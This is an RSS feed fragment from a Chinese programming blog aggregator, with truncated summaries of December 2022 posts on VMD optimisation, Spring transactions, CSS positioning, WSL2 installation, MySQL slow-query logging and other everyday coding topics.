      <description>目录&#xA;1、白鲸优化算法&#xA;2、BWO优化VMD参数&#xA;3、实战&#xA;3.1 原始时间序列数据&#xA;3.2 VMD分解--直接设置参数&#xA;3.3 采用BWO优化VMD&#xA;4、代码&#xA;在博客的基础上，本文利用白鲸优化算法对VMD的参数进行优化，采用python实现。&#xA;1、白鲸优化算法 白鲸优化算法([Beluga whale optimization，BWO)是由是由 Changting Zhong 等于2022 年提出的一种群体智能优化算法。其灵感来源于白鲸的群体觅食行为，具有3个阶段，分别是：探索、开发、鲸落，如下&#xA;2、BWO优化VMD参数 时间序列越复杂，包络熵的计算值越大，反之亦然。因此，应用VMD对信号进行分解后，计算每个子序列的包络值，包络最小的序列为所分解序列的趋势项。&#xA;当分解数K较小时，可能导致信号分解不足，趋势项中混入其他干扰项，导致包络熵值变大。当取适当的K值时，趋势项的包络熵变小。因此，将分解出的IMF中的最小的那个熵（局部包络熵）最小化时，VMD分解为最佳。&#xA;那么如何去找到局部包络熵，就需要用到白鲸优化算法，当前其他的优化算法都是可以实现的。适应度函数如下：&#xA;&#39;&#39;&#39;适应度函数,最小化各VMD分量的局部包络熵&#39;&#39;&#39; def fitness(pop,data): np.random.seed(0) K = int(pop[0]) alpha = int(pop[1]) #print(K,alpha) tau = 0 DC = 0 init = 1 tol = 1e-7 imf,res,u_hat,omega=VMD(data, alpha, tau, K, DC, init, tol) comp=np.vstack([imf,res.reshape(1,-1)]) SE = 0 se_imf=[] for i in range(comp.shape[0]): temp= BaoLuoShang(comp[i,:]) SE +=temp se_imf.append(temp) # fit = SE # fit = SE/K fit = min(se_imf) np.</description>
    </item>
    <item>
      <title>%.2f</title>
      <link>https://bchobby.github.io/posts/af3d7c7d1700e7e6aec5c5e9ea761960/</link>
      <pubDate>Thu, 29 Dec 2022 00:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af3d7c7d1700e7e6aec5c5e9ea761960/</guid>
      <description>% .2f 是一个格式化字符串，用于在 Python 程序中格式化浮点数。&#xA;其中，% 表示这是一个格式化字符串，.2 表示保留两位小数，f 表示这是一个浮点数。&#xA;例如，在 Python 中可以使用如下代码将一个浮点数格式化为字符串：&#xA;x = 3.1415926535 formatted_string = &#34;%.2f&#34; % x print(formatted_string) # Output: 3.14 在这里，x 是一个浮点数，我们使用 %.2f 将它格式化为保留两位小数的字符串。输出的字符串为 &#34;3.14&#34;。</description>
    </item>
    <item>
      <title>如何设置OPENAI_API_KEY</title>
      <link>https://bchobby.github.io/posts/d354c5ddf5e6fac2e2f10913b7fd83a6/</link>
      <pubDate>Thu, 29 Dec 2022 00:00:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d354c5ddf5e6fac2e2f10913b7fd83a6/</guid>
      <description>要设置 OpenAI API Key，您需要按照以下步骤操作：&#xA;在 OpenAI 网站上注册账号，并确保已通过身份验证。&#xA;登录到您的 OpenAI 账号，并转到“API”页面。&#xA;在“API”页面上，单击“创建新的 API 密钥”按钮。&#xA;在弹出的对话框中，输入新的 API 密钥的名称，然后单击“创建”按钮。&#xA;在新的 API 密钥创建后，OpenAI 会显示一个新的密钥。 请将此密钥复制到剪贴板，然后将其粘贴到您的代码中，以便在调用 OpenAI API 时使用。&#xA;注意：请确保保留此 API 密钥的安全，因为它允许您访问您的 OpenAI 账户并使用 OpenAI 的服务。</description>
    </item>
    <item>
      <title>【Python】编程注意事项</title>
      <link>https://bchobby.github.io/posts/8d174cae37c8696792bee97a63770bd4/</link>
      <pubDate>Wed, 28 Dec 2022 21:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d174cae37c8696792bee97a63770bd4/</guid>
      <description> 1. float要规定在6位小数，否则会出问题 python自己的float太长会有问题，如18.0会被保存为17.99999999999，在和某个阈值比较时，就会出错&#xA;#四舍五入保留6位小数 round(a,6) </description>
    </item>
    <item>
      <title>IDEA项目启动的地方，和项目编码的地方在两个窗口(求助-已解决)</title>
      <link>https://bchobby.github.io/posts/3b6d4b33b27f81f4980b2ba8f06ef85b/</link>
      <pubDate>Wed, 28 Dec 2022 20:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b6d4b33b27f81f4980b2ba8f06ef85b/</guid>
      <description>这个到底是什么原因啊，打开一个项目，项目启动的地方，和项目编码的地方在两个窗口&#xA;解决：重置IDEA所有的配置</description>
    </item>
    <item>
      <title>信号的分类</title>
      <link>https://bchobby.github.io/posts/bb9432851de4ac85d9c99e2f50591271/</link>
      <pubDate>Wed, 28 Dec 2022 20:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb9432851de4ac85d9c99e2f50591271/</guid>
      <description>信号的分类 什么是信号？&#xA;信号是运载消息的工具，是消息的载体。从广义上讲，它包含光信号、声信号和电信号等。例如，古代人利用点燃烽火台而产生的滚滚狼烟，向远方军队传递敌人入侵的消息，这属于光信号；当我们说话时，声波传递到他人的耳朵，使他人了解我们的意图，这属于声信号；&#xA;基于信号维度的分类 一维信号：声音信号，声音强度随时间变化。&#xA;例如：下面这段声音信号，我们利用Matlab将这段信号的强度随时间变化的图像绘制出来。&#xA;WAV文件&#xA;clc clear folder=&#39;C:\Users\gzq62\Desktop\12_26.wav&#39;;%输入文件路径 [X, Fs] = audioread(folder);%读入音频 X = X(:,1); %将音频数据从wav文件中读出 %X表示wav文件中的声音数据，Fs表示音频采样率（再wav文件头中有定义） T = 1/Fs; t = (T*Fs : size(X))*T; %将横坐标点数转换为时间%这里(T*Fs : size(y))是根据 %自己想要播放wav文件中哪个时间段自己修改 t = t&#39;; X = 100*X(T* Fs : size(X)); %截取0秒到音频结束 plot(t,X); %音频时域绘图 title(&#34;声音时域图&#34;); xlabel(&#34;时间&#34;); ylabel(&#34;幅值&#34;); sound(X, Fs); %播放音频 二维信号：图像信号，图像的横纵坐标的每个点用RGB编码，其中R、G、B个个分量用八位二进制表示，每个坐标点3*8位二进制数表示。&#xA;例如：将下面图片中每个像素点的RGB分量提取出来，图片的像素是1050*1680。&#xA;%读取一张图片，并显示 original_picture=imread(&#39;C:\Users\gzq62\Desktop\202212271737310.jpg&#39;); subplot(2,2,1); imshow(original_picture); title(&#39;原始图像的直方图&#39;) %分别读取R、G、B的值，1代表R，2代表G，3代表B image_r=original_picture(:,:,1); image_g=original_picture(:,:,2); image_b=original_picture(:,:,3); subplot(222) imshow(image_r); title(&#39;R Part&#39;); subplot(223) imshow(image_g); title(&#39;G Part&#39;); subplot(224) imshow(image_b); title(&#39;B Part&#39;); 下表能更清晰的表示R分量在每个像素点的值。</description>
    </item>
    <item>
      <title>C#json字符串转对象</title>
      <link>https://bchobby.github.io/posts/cda0091897e0ddebc452c1ac486744e2/</link>
      <pubDate>Wed, 28 Dec 2022 18:10:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cda0091897e0ddebc452c1ac486744e2/</guid>
      <description>标题字符串转dataTable public static DataTable ToDataTable(string jsonStr) { DataTable table = new DataTable(); //JsonStr为Json字符串 JArray array = JsonConvert.DeserializeObject(jsonStr) as JArray;//反序列化为数组 if (array.Count &amp;gt; 0) { StringBuilder columns = new StringBuilder(); JObject objColumns = array[0] as JObject; //构造表头 foreach (JToken jkon in objColumns.AsEnumerable&amp;lt;JToken&amp;gt;()) { string name = ((JProperty)(jkon)).Name; columns.Append(name + &#34;,&#34;); table.Columns.Add(name); } //向表中添加数据 for (int i = 0; i &amp;lt; array.Count; i++) { DataRow row = table.NewRow(); JObject obj = array[i] as JObject; foreach (JToken jkon in obj.</description>
    </item>
    <item>
      <title>给定N个正整数，请统计奇数和偶数各有多少个？</title>
      <link>https://bchobby.github.io/posts/ae8248813c30c15a234854d331f614e4/</link>
      <pubDate>Wed, 28 Dec 2022 15:39:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae8248813c30c15a234854d331f614e4/</guid>
      <description>输入格式： 输入第一行给出一个正整N（≤1000）；第2行给出N个非负整数，以空格分隔。&#xA;输出格式： 在一行中先后输出奇数的个数、偶数的个数。中间以1个空格分隔。&#xA;输入样例： 9 88 74 101 26 15 0 34 22 77 输出样例： 3 6 #include&amp;lt;stdio.h&amp;gt; int main() { int N = 0; int n = 0; int j = 0; int s = 0; scanf(&#34;%d&#34;, &amp;amp;N); for (int i = 0; i &amp;lt; N; i++) { scanf(&#34;%d&#34;, &amp;amp;n); if (n % 2 == 0) { s++;//偶数的个数 } else { j++;//奇数的个数 } } printf(&#34;%d %d&#34;, j, s); return 0; } 运行结果：</description>
    </item>
    <item>
      <title>微信开发者工具模拟扫描二维码调试</title>
      <link>https://bchobby.github.io/posts/cde1673bc8de9edb991798d32271c1e4/</link>
      <pubDate>Wed, 28 Dec 2022 14:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cde1673bc8de9edb991798d32271c1e4/</guid>
      <description>本文主要介绍如何在微信开发者工具中，模拟微信扫描二维码打开小程序的场景，进行调试。（小程序码不太一样）&#xA;小程序码调试可以看这篇文章：获取微信小程序码传递的参数 / 微信开发者工具模拟扫描小程序码调试&#xA;1. 添加编译模式&#xA;添加一个咱们自定义的编译模式&#xA;2. 输入模式名称&#xA;主要是方便后面的查找&#xA;3. 设置启动页面&#xA;这里填写的页面是扫描小程序二维码后要跳转到的页面地址（我这里就是首页了）&#xA;4. 设置启动参数&#xA;类似GET的方式设置参数，设置完成以后可以通过onLoad(options) 拿到（二维码的启动参数如同例子给的一样，但是小程序码的启动参数配置不太一样）。&#xA;5. 设置进入场景&#xA;这里就是选择通过什么方式进入了，可以选择二维码，也可以选择小程序码。&#xA;选择编译方式进行编译&#xA;每次项目重新编译后，都会自动进入扫描小程序码/二维码后我们设置的启动页面，同时自动传入设置的启动参数。&#xA;结果：这里我输出了拿到的参数</description>
    </item>
    <item>
      <title>python&#43;win10toast—实现PC端通知栏消息推送</title>
      <link>https://bchobby.github.io/posts/9b04b27b4cc012dd04b00d4098b04586/</link>
      <pubDate>Wed, 28 Dec 2022 14:34:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b04b27b4cc012dd04b00d4098b04586/</guid>
      <description> import time from win10toast import ToastNotifier def pc_toast(): toaster = ToastNotifier() header = &#34;晏殊《清平乐·红笺小字》&#34; # 通知的标题 text = &#39;红笺小字。说尽平生意。\n鸿雁在云鱼在水。惆怅此情难寄。\n斜阳独倚西楼。遥山恰对帘钩。\n人面不知何处，绿波依旧东流。&#39; # 通知的内容 time.sleep(1) # 适当休息一下，避免出现提示秒弹的情况 toaster.show_toast(title=f&#34;{header}&#34;, msg=f&#34;{text}&#34;, duration=10, threaded=True, icon_path=None) while toaster.notification_active(): # toaster.notification_active()判断是否有活动通知显示 time.sleep(0.005) if __name__ == &#39;__main__&#39;: pc_toast() </description>
    </item>
    <item>
      <title>c&#43;&#43;爱心代码</title>
      <link>https://bchobby.github.io/posts/1b307147240886bede0f8fcf65a47788/</link>
      <pubDate>Wed, 28 Dec 2022 13:44:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b307147240886bede0f8fcf65a47788/</guid>
      <description>c爱心代码是一个使用c语言编写的程序，其输出一个爱心形状。这通常是一个用来表示爱意或友谊的符号。爱心代码的具体实现方式可能会有所不同，但通常都是使用字符或符号的组合来构建爱心的形状。例如，下面是一个使用c语言编写的爱心代码的示例：&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main() { printf(&#34;\n&#34;); printf(&#34;\t * *\n&#34;); printf(&#34;\t * *\n&#34;); printf(&#34;\t * *\n&#34;); printf(&#34;\t * *\n&#34;); printf(&#34;\t * *\n&#34;); printf(&#34;\t *\n&#34;);&#xA;return 0; }&#xA;这段代码使用了多行字符串以及转义字符来输出一个爱心形状。每个星号都是一个字符，而每个换行符则是一个转义字符，用于在控制台中换行。&#xA;希望这对你有帮助！</description>
    </item>
    <item>
      <title>电脑录屏软件哪个好用，分享4款不限时长的录屏软件</title>
      <link>https://bchobby.github.io/posts/3854bd54fb008d19d3085fdb65169bf9/</link>
      <pubDate>Wed, 28 Dec 2022 13:41:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3854bd54fb008d19d3085fdb65169bf9/</guid>
      <description>不管是在学习上还是在工作中都有可能需要用到录屏软件。在互联网上有众多录屏软件，那电脑录屏软件哪个好用？今天给大家分享4款不限时长的录屏软件，这些录屏软件都可以满足日常录屏需要，感兴趣的朋友可以往下看看哦。&#xA;一、电脑360浏览器录屏工具 推荐使用：★★★&#xA;录屏优缺点：网页自带、无法录制电脑桌面&#xA;现在大部分的浏览器都有电脑录屏的功能，例如我们经常使用到的360安全浏览器就有录屏的功能。电脑录视频用什么软件，如果不想安装第三方软件，在360浏览器上观看视频可以点击“录小窗口视频”功能来录屏，具体操作步骤如下：&#xA;步骤1：打开360安全浏览器设置功能，在“选项”中点击“高级设置”并将“在视频右上角显示工具栏”功能打开。&#xA;步骤2：在录制视频的上方出现“录制小视频”即可点击录屏；&#xA;二、电脑自带的录屏组件 推荐使用：★★★&#xA;录屏优缺点：无需安装、操作界面复杂、无法录制电脑桌面&#xA;电脑自带的录屏功能是win电脑系统为游戏玩家设置在游戏系统里面的工具；电脑录制游戏视频软件哪个好，可以使用Xbox Game Bar来录屏，电脑自带的录屏功能主要是通过Xbox Game Bar实现录屏。&#xA;步骤1：开启设置游戏中的“Xbox Game Bar”，可以在键盘上使用快捷方式“Win＋Alt＋G”进入到录屏界面；&#xA;步骤2：录制视频，可以按下“捕获”上的圆点，即可录制视频；&#xA;三、电脑录屏软件——傲软录屏软件 推荐使用：★★★★&#xA;录屏优缺点：可跨平台使用、无游戏录制模式、非会员仅限1分钟&#xA;傲软录屏软件是一款可以跨平台使用的录屏软件，支持Windows、Mac等系统录制，能够帮助您同步录制电脑桌面。但傲软电脑录屏软件没有游戏录制模式，如果没有付费，录制超过1分钟的视频无法正常保存。&#xA;步骤1：打开傲软录屏软件后，可以在界面上选择录屏方式；&#xA;步骤2：根据需求自定义录制区域，调整录影框大小。然后点击界面上的&#34;REC&#34;按钮，即可开始录屏；&#xA;四、电脑录屏软件——专业的录屏软件 推荐使用：★★★★★&#xA;录屏优缺点：支持win7/8/10/11以及Mac OS系统、多种录制模式、SHUJU不限制录屏时长。&#xA;如果您对视频画质以及录制游戏画面有需求，那么您可以选择这款电脑不限时长的录屏软件。该录屏软件作为一款多功能的录屏软件，除了可以进行全屏的录制，还可以自定义区域的录制，同时还有摄像头录制、游戏录制、排除窗口录制以及跟随鼠标等多种录屏方式；操作界面也比较简单，安装软件之后点击【REC】按钮即可开始录制并保存。&#xA;步骤1：在网页上下载该软件录屏软件，大家可以自定义将软件安装在其他盘里；&#xA;步骤2：将软件运行后，在软件界面可以看到“视频录制”、“音频录制”、“游戏录制”三个基本录屏模式；&#xA;步骤3：如果您有更改录屏参数的需求，可以在“视频录制”界面点击“输出设置”，进行更改。&#xA;备注：如果您没有更改录屏需求，可以使用软件默认的参数录屏；&#xA;步骤4：回到“视频录制”界面会，可以选全屏录制或者自定义录制范围；根据个人录制声音需求，可以开启“扬声器”或者“麦克风”声源；随后，点击“REC”开始录屏；&#xA;备注1：电脑怎么自动录屏，可以在软件界面，点击“计划任务”添加录屏任务，可以选择在几年几月几日，还可以精确到秒开始录屏；&#xA;步骤5：点击停止录制按钮，自动跳转到预览窗口；在预览窗口后，观看录屏完的视频；然后，点击“完成”自动帮您保存视频，可以在“历史记录”上查看视频；&#xA;备注2：在录制完成后，或者您直接也可以在软件首界面点击【录制历史】，找到需要处理的视频文件，可对勾选中的视频进行压缩、合并以及格式转换等操作。&#xA;今天小编给大家分享4款不限时长的录屏软件，这些录屏软件都可以满足日常录屏需要。关于电脑录屏软件哪个好用这个问题，小编在这推荐大家使用这款录屏软件，该软件可以不限制录屏时长，大部分功能都是可以使用的，感兴趣的朋友可以去下载试试看哦。</description>
    </item>
    <item>
      <title>圣诞树的雪花飘飘（结尾附源码）</title>
      <link>https://bchobby.github.io/posts/04edd3698e7b7abe6749990e739ce456/</link>
      <pubDate>Wed, 28 Dec 2022 13:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04edd3698e7b7abe6749990e739ce456/</guid>
      <description>写在前面：博主是一只经过实战开发历练后投身培训事业的“小山猪”，昵称取自动画片《狮子王》中的“彭彭”，总是以乐观、积极的心态对待周边的事物。本人的技术路线从Java全栈工程师一路奔向大数据开发、数据挖掘领域，如今终有小成，愿将昔日所获与大家交流一二，希望对学习路上的你有所助益。同时，博主也想通过此次尝试打造一个完善的技术图书馆，任何与文章技术点有关的异常、错误、注意事项均会在末尾列出，欢迎大家通过各种方式提供素材。&#xA;对于文章中出现的任何错误请大家批评指出，一定及时修改。有任何想要讨论和学习的问题可联系我：zhuyc@vip.163.com。发布文章的风格因专栏而异，均自成体系，不足之处请大家指正。 圣诞树的雪花飘飘（结尾附源码） 本文关键字：圣诞节、雪花、圣诞树、动画、前端&#xA;文章目录 圣诞树的雪花飘飘（结尾附源码）一、小编碎碎念二、代码效果1. 运行效果2. 核心代码3. 代码说明 三、源码直达 一、小编碎碎念 又是一年圣诞节，刚好赶上周末，狠狠的休息了两天。节日过了之后才起来看一下有没有什么活动，还好持续周期比较长，赶上年末，好些活动的时间都重叠在了一起。作为勋章收割机，一看到活动有勋章送，那肯定是不能错过，想来写一个雪花飘落❄️配上圣诞树🎄也是极好的～&#xA;二、代码效果 由于使用前端实现，所以代码结构十分简单，参考了一些效果不错的代码，重新修饰了一下，雪中的圣诞树就出现了。&#xA;1. 运行效果 尝试画了一下圣诞树，但是感觉画来画去一直都是卡通系，最后还是直接找一张png图片来的快一点，整体效果还是不错的，顺便温习了一下前端知识，巴适的很～&#xA;2. 核心代码 雪花的飘落效果主要是由js来控制，生成一个canvas，调整好定位方式，就可以覆盖整个网页，代码如下：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;🌟🎄&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;js/jquery.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;js/snowy.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;js/Snow.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; * { margin: 0; padding: 0; } .snow-container { position: fixed; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 999; } .img { width: 100%; height: 2000px; background-color: black; text-align: center; } .</description>
    </item>
    <item>
      <title>Java 字符串转日期</title>
      <link>https://bchobby.github.io/posts/113d1149825c00962b89ad90cbc14557/</link>
      <pubDate>Wed, 28 Dec 2022 09:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113d1149825c00962b89ad90cbc14557/</guid>
      <description>在 Java 中，可以使用 SimpleDateFormat 类将字符串转换为日期。首先，需要创建一个 SimpleDateFormat 对象，并指定日期格式。然后，调用 parse 方法将字符串转换为日期对象。&#xA;例如，假设你有一个字符串 &#34;2022-12-28&#34;，表示日期 2022 年 12 月 28 日，并使用 &#34;yyyy-MM-dd&#34; 格式。你可以这样转换：&#xA;String str= &#34;2022-12-28&#34;; SimpleDateFormat sdf = new SimpleDateFormat(&#34;yyyy-MM-dd&#34;); Date date = sdf.parse(str); 注意：在使用 SimpleDateFormat 进行字符串转日期时，需要注意线程安全问题。在多线程环境下使用 SimpleDateFormat 时，建议使用 ThreadLocal 来维护单独的 SimpleDateFormat 实例，以避免出现线程安全问题。&#xA;另外，在 Java 8 中，也可以使用 java.time 包中的类来转换日期。例如，使用 LocalDate.parse 方法可以将字符串转换为 LocalDate 对象。</description>
    </item>
    <item>
      <title>Spring @Transactional注解事务六大失效场景</title>
      <link>https://bchobby.github.io/posts/74465d526ca82d875e7cadcf37eed8bc/</link>
      <pubDate>Wed, 28 Dec 2022 08:31:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74465d526ca82d875e7cadcf37eed8bc/</guid>
      <description>@Transactional事务失效场景1：注解在非public修饰的方法上。&#xA;原因：Spring强制的要求。&#xA;代码示例：&#xA;@Transactional private void createOrder(){ } @Transactional事务失效场景2：注解在被final关键字修饰的方法上。&#xA;原因：Spring的@Transactional注解事务是通过生成一个代理子类，通过重写父类方法方式实现事务的代理增强，被final关键字修饰的方法由于不能被子类重写，所以不能通过代理增强。&#xA;代码示例：&#xA;@Transactional public final void createOrder(){ } @Transactional事务失效场景3：通过this调用方法&#xA;原因：这个跟第2个场景类似，由于this这个关键字在jvm中指当前类对象，而不是spring代理后的代理对象，所以不具备事务增强能力。&#xA;代理示例：&#xA;public void methodA(){ //methodB方法如果抛出异常，事务不会回滚 this.methodB(); } @Transactional public void methodB(){ } @Transactional事务失效场景4：异常被try捕获。&#xA;原因：Spring事务默认只会回滚抛出RuntimeException类型异常，如果异常被try，那么事务就不会回滚。&#xA;代码示例：&#xA;@Transactional public void method() { try { //business logic process } catch (Exception e) { e.printStackTrace(); } } @Transactional事务失效场景5：抛出非RuntimeException类型异常且没有指定rollbackFor。&#xA;原因：Spring 注解事务在没有手动指定rollbackFor参数的情况下，默认只会回滚抛出RuntimeException类型异常，可以通过手动指定rollbackFor参数来改变这个策略。&#xA;代码示例：&#xA;//不会回滚 @Transactional public void methodA() throws Exception { try { //business logic process } catch (Exception e) { throw new Exception(&#34;</description>
    </item>
    <item>
      <title>【CSS】 定位、锚点、透明</title>
      <link>https://bchobby.github.io/posts/88c814c3acdccdae16dd3b3cf2ee7de8/</link>
      <pubDate>Tue, 27 Dec 2022 22:20:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88c814c3acdccdae16dd3b3cf2ee7de8/</guid>
      <description>文章目录 【CSS】 定位、锚点、透明一. 为什么需要定位？二. 定位三要素三. position 定位属性和属性值四. 偏移属性五. 定位元素的层级属性六. 包含块的概念及作用七. 锚点链接的语法和应用场景八. 透明写法 【CSS】 定位、锚点、透明 一. 为什么需要定位？ 定位可以让盒子自由的在某个盒子内移动位置或固定屏幕中的某个位置，并且可以压住其他盒子。&#xA;二. 定位三要素 确定目标元素坐标系定位流 三. position 定位属性和属性值 position 定位属性，检索对象的定位方式；&#xA;语法：position：static /absolute/relative/fixed/sticky/unset/inherit**(未设置是inherit和initial的结合)/initial(最初的，初始的)**&#xA;取值：&#xA;static：默认值，无特殊定位，对象遵循HTML原则；&#xA;选择器{ position: static; } absolute：绝对定位，将对象从文档流中完全拖离出来，使用left/right/top/bottom等属性相对其最接近的一个并有定位设置（基于非static）的父元素进行绝对定位；如果不存在这样的父对象，则依据 “浏览器” 进行定位，而其层叠通过z-index属性定义&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34; /&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34; /&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .grandfather { width: 800px; height: 600px; background-color: pink; } .father { width: 500px; height: 400px; background-color: blue; position: relative; top: 20px; left: 20px; } .</description>
    </item>
    <item>
      <title>调用人脸识别绘制虚拟形象的python代码</title>
      <link>https://bchobby.github.io/posts/a81d16050d7c966521fce1742548a96e/</link>
      <pubDate>Tue, 27 Dec 2022 20:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a81d16050d7c966521fce1742548a96e/</guid>
      <description> 首先，你需要准备一张带有人脸的图片，并且确保你已经安装了必要的 python 库，包括 dlib 和 OpenCV。&#xA;接下来，你可以使用 dlib 库中的人脸检测器来检测图片中的人脸。这里有一个简单的例子：&#xA;import dlib# 使用 dlib 的人脸检测器 detector = dlib.get_frontal_face_detector() # 读取图片 image = cv2.imread(&#34;image.jpg&#34;) # 使用人脸检测器检测图片中的人脸 face_rects = detector(image, 1) # 遍历每一个检测到的人脸 for </description>
    </item>
    <item>
      <title>MARL算法系列（1）：IQL【原理&#43;代码实现】</title>
      <link>https://bchobby.github.io/posts/5533955daca6ff13243de4e3134dfd11/</link>
      <pubDate>Tue, 27 Dec 2022 15:49:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5533955daca6ff13243de4e3134dfd11/</guid>
      <description>原文题目：Multiagent cooperation and competition with deep reinforcement learning 作者：Tampuu, Ardi and Matiisen, Tambet and Kodelja, Dorian等 发表时间：2017年 主要内容：相互独立的两个DQN智能体，竞争任务下学会了相互竞争的策略，合作任务下学会了合作策略。 文章目录 1 论文基本原理1.1 Abstract1.2 Introduction1.3 Methods1.4 实验结果 实验与代码分析 1 论文基本原理 1.1 Abstract 相互独立的两个DQN智能体，竞争任务下学会了相互竞争的策略，合作任务下学会了合作策略。&#xA;1.2 Introduction 第一段，简要介绍什么是强化学习。&#xA;第二段，简要介绍强化学习算法历史，重点介绍DQN。&#xA;第三段，属于relative study，介绍了博弈论领域的多智能体合作与竞争，动物群体的合作与竞争。&#xA;第三段、第四段，简要介绍如何在雅达利游戏Pong中训练两个DQN智能体，并发现不同奖励下智能体之间会学会竞争或者合作的策略。&#xA;1.3 Methods 先介绍什么是DQN。&#xA;然后介绍如何将DQN用到Multi-agent问题中，并表示最直接的方法就是，智能体把其他智能体喝环境看作整体，每个智能体之间的决策相互独立（用原文的话说就是each agent is controlled by an independent Deep Q-Network）。&#xA;介绍针对原始DQN代码的一些修改。&#xA;介绍为什么选择Pong游戏。&#xA;介绍奖励设置：完全竞争、完全合作、既有竞争又有合作 场景奖励设置完全竞争完全合作竞争+合作 介绍训练过程，50个epoch，每个epoch执行250000个step。探索率在一百万步内从1降到0.05然后不变。&#xA;介绍游戏的一些统计指标：平均拍数，平均撞到墙壁的次数，待机时间。&#xA;1.4 实验结果 这种直观的解释还是很有说服力的。&#xA;实验与代码分析 代码，这是参考这个实现：https://github.com/starry-sky6688/MARL-Algorithms。&#xA;import torch import os from network.base_net import RNN class IQL: def __init__(self, args): self.</description>
    </item>
    <item>
      <title>WSL2安装（详细过程）</title>
      <link>https://bchobby.github.io/posts/ed160a5bd7fd409364cdc804ccaef525/</link>
      <pubDate>Tue, 27 Dec 2022 15:00:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed160a5bd7fd409364cdc804ccaef525/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言安装WSL2步骤 为Linux启用子系统检查WSL2的要求启用虚拟机功能下载Liunx内核安装包将WSL2设置为默认版本安装选择的Linux发行版安装成功 前言 引用资料：https://learn.microsoft.com/en-us/windows/wsl/about&#xA;适用于 Linux 的 windows 子系统允许开发人员直接在 Windows 上运行 GNU/Linux 环境 -- 包括大多数命令行工具、实用程序和应用程序，无需修改，而无需传统虚拟机或dualbot设置的开销。&#xA;您可以：&#xA;在Microsoft商店中选择您喜爱的GNU/Linux发行版。运行常见的命令行工具，如grep、sed、awk或其他ELF-64二进制文件。运行Bash shell脚本和GNU/Linux命令行应用程序，包括：工具：vim、emacs、tmux。语言：NodeJS、Javascript、Python、Ruby、C/C++、C#和F#、Rust、Go等。服务：SSHD、MySQL、Apache、lighttpd、MongoDB、PostgreSQL。使用自己的GNU/Linux发行包管理器安装其他软件。使用类Unix命令行shell调用 Windows 应用程序。在Windows上调用 GNU/Linux 应用程序。运行直接集成到Windows桌面的 GNU/Linux 图形应用程序将GPU加速用于机器学习、数据科学场景等 安装WSL2步骤 1.为Linux启用子系统 检查windows功能是否开启了 适用于 Liunx 的 Windows 子系统 的设置（如果未开启，开启之后需要重启电脑）&#xA;cmd命令 wsl -l -v 检查管理适用于 Liunx 的 Windows 子系统的分发，如果没有分发版的则执行：&#xA;wsl -l -v dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart 如果只安装WSL1,那么现在可以重新启动计算机，然后转到第六步，安装您选择的Liunx发行版。&#xA;如果要更新到WSL2,则等待重新启动计算机，然后下一步。&#xA;（注意：需要开启 适用于 Liunx 的 Windows 子系统 的设置 才重新启动计算机 如果已开启，则不需要）&#xA;2.检查WSL2的要求 (对于64位系统，版本1903或更高，版本18362或更高。&#xA;对于ARM64系统：版本2004或更高，版本19041或更高。)&#xA;检查电脑版本 ：win+r 在搜索框输入 winver 查看当前版本 19044比1903高符合要求</description>
    </item>
    <item>
      <title>MYSQL性能分析</title>
      <link>https://bchobby.github.io/posts/f294e05d493e2b243263589da6549331/</link>
      <pubDate>Tue, 27 Dec 2022 13:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f294e05d493e2b243263589da6549331/</guid>
      <description>MYSQL性能分析 1.慢SQL查询&#xA;开启慢sql查询机制&#xA;set global slow_query_log=on set global long_query_time=2; set global log_queries_not_using_indexes=on slow_query_log：慢查询log日志记录 on(开启)/off(关闭)；&#xA;long_query_time:SQL语句执行时间超过2就被认为是慢查询语句；&#xA;log_queries_not_using_indexes:查询未使用索引是否开启记录慢查询日志 on(开启)/off(关闭)；&#xA;查询慢sql开启的状态 可以查看到慢sql日志已开启 以及慢sql日志文件位置&#xA;show variables like &#39;%slow%&#39;; 查看慢sql个数&#xA;show global status like &#39;%slow%&#39;; 优化策略：&#xA;参考慢sql个数，根据慢sql日志查看执行较慢的sql，针对慢sql进行sql优化。&#xA;2.mysql连接数设置不合理&#xA;开启mysql执行日志&#xA;use mysql; show variables LIKE &#39;%general_log%&#39; 查看mysql日志开启状态； set global general_log=ON; 开启mysql日志记录 on(开启)/off(关闭)； 